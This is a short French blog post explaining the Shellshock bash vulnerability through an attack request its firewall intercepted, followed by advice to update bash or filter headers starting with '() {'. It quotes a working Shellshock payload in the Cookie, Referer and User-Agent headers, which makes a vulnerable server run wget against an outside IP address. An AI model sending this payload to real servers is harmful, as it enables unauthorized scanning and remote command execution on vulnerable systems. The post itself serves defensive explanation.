Vous vous rappelez Shellshock ? Cette faille jugée critique découverte en septembre peut permettre d’exécuter n’importe quelle instruction bash à partir du moment où on a accès à une variable Bash.
Dis comme ça, cela semble compliqué à exploiter, et surtout cela nécéssite un accès local au serveur. Alors pourquoi est-elle classifiée en « remote execution possible » ?
Ci-dessous un exemple vu en production (filtré bien heureusement !), mais qui montre comment exploiter … et comment se protéger
Interceptée il y a quelques jours par un élément de notre firewall, l’attaque est en fait toute simple si on y prette pas attention. Elle consiste simplement en la réception de cette requête web :
GET / HTTP/1.1 Accept-Encoding: identity Cookie: () { :;}; echo; /usr/bin/env wget http://185.31.161.36/robots.txt?http://website.com/ -O /dev/null; Host: website.com Referer: () { :;}; echo; /usr/bin/env wget http://185.31.161.36/robots.txt?http://website.com/ -O /dev/null; User-Agent: () { :;}; echo; /usr/bin/env wget http://185.31.161.36/robots.txt?http://website.com/ -O /dev/null;
La faille se trouve dans les entêtes Cookie, Referer et User-Agent. Si la faille est exploitée, un fichier anodin est téléchargé sur un serveur distant. Observez l’ajout de ‘?http://website.com’ qui contenait à l’origine le nom du site ciblé (changé pour des raisons de confidentialité). Ainsi, sur le serveur du pirate (derrière l’IP 185.31.161.36), il suffit de regarder les logs et d’en extraire la liste des sites vulnérables.
On est donc ici en présence d’un simple scan qui n’effectue aucune action malveillante (le fichier est enregistré dans /dev/null, soit « nulle part »). Toutefois, le pirate sait que le site est faillible et va pouvoir revenir exploiter tout ça ultérieurement.
Mais comment passe-t-on d’un simple entête HTTP à une instruction Bash ? Cela ne touche que certaines configurations bien particulières de certains serveurs web, dans lesquelles chaque entête est transformé en variable bash et passé à un programme tiers. Ainsi, ‘User-Agent’ va devenir la variable HTTP_USER_AGENT.
Comment s’en protéger ?
Une seule méthode fiable : mettre à jour Bash. Si c’est difficile, vous pouvez filtrer via votre firewall toute requête contenant un entête commençant par « () {« .